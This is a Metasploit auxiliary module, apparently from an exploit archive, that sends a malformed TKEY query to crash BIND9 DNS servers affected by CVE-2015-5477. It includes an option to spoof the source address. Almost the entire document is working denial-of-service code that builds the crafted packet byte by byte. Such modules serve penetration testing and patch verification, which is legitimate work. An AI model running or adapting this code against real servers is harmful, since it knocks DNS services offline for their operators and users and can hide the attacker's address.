BIND TKEY Query Denial of Service

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Capture  
include Msf::Auxiliary::UDPScanner  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'BIND TKEY Query Denial of Service',  
'Description' => %q{  
This module sends a malformed TKEY query, which exploits an  
error in handling TKEY queries on affected BIND9 'named' DNS servers.  
As a result, a vulnerable named server will exit with a REQUIRE  
assertion failure. This condition can be exploited in versions of BIND  
between BIND 9.1.0 through 9.8.x, 9.9.0 through 9.9.7-P1 and 9.10.0  
through 9.10.2-P2.  
},  
'Author' => [  
'Jonathan Foote', # Original discoverer  
'throwawayokejxqbbif', # PoC  
'wvu' # Metasploit module  
],  
'References' => [  
['CVE', '2015-5477'],  
['URL', 'https://www.isc.org/blogs/cve-2015-5477-an-error-in-handling-tkey-queries-can-cause-named-to-exit-with-a-require-assertion-failure/'],  
['URL', 'https://kb.isc.org/article/AA-01272']  
],  
'DisclosureDate' => '2015-07-28',  
'License' => MSF_LICENSE,  
'DefaultOptions' => {'ScannerRecvWindow' => 0}  
))  
  
register_options([  
Opt::RPORT(53),  
OptAddress.new('SRC_ADDR', [false, 'Source address to spoof'])  
])  
  
deregister_options('PCAPFILE', 'FILTER', 'SNAPLEN', 'TIMEOUT')  
end  
  
def scan_host(ip)  
if datastore['SRC_ADDR']  
scanner_spoof_send(payload, ip, rport, datastore['SRC_ADDR'])  
else  
print_status("Sending packet to #{ip}")  
scanner_send(payload, ip, rport)  
end  
end  
  
def payload  
name = Rex::Text.rand_text_alphanumeric(rand(42) + 1)  
txt = Rex::Text.rand_text_alphanumeric(rand(42) + 1)  
  
name_length = [name.length].pack('C')  
txt_length = [txt.length].pack('C')  
data_length = [txt.length + 1].pack('n')  
ttl = [rand(2 ** 31 - 1) + 1].pack('N')  
  
query = "\x00\x00" # Transaction ID: 0x0000  
query << "\x00\x00" # Flags: 0x0000 Standard query  
query << "\x00\x01" # Questions: 1  
query << "\x00\x00" # Answer RRs: 0  
query << "\x00\x00" # Authority RRs: 0  
query << "\x00\x01" # Additional RRs: 1  
  
query << name_length # [Name Length]  
query << name # Name  
query << "\x00" # [End of name]  
query << "\x00\xf9" # Type: TKEY (Transaction Key) (249)  
query << "\x00\x01" # Class: IN (0x0001)  
  
query << name_length # [Name Length]  
query << name # Name  
query << "\x00" # [End of name]  
query << "\x00\x10" # Type: TXT (Text strings) (16)  
query << "\x00\x01" # Class: IN (0x0001)  
query << ttl # Time to live  
query << data_length # Data length  
query << txt_length # TXT Length  
query << txt # TXT  
end  
end  
`